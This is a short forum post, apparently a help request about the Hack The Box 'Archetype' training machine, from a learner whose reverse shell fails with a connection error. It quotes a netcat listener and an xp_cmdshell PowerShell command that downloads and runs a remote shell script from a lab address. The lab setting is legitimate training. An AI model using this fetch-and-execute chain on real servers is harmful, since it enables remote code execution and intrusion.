Hello, World! I've just started "https://app.hackthebox.eu/machines/287" or "Archetype" Machine and got stuck with the next problem: after opening port, using nc -lvnp 443 and xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.3/shell.ps1\");" I get "Unable to connect to the remote server" error. I've checked IP, installed ufw, but nothing has changed. I could add some screenshots, but still do not know how to do this . So, I ask for help.
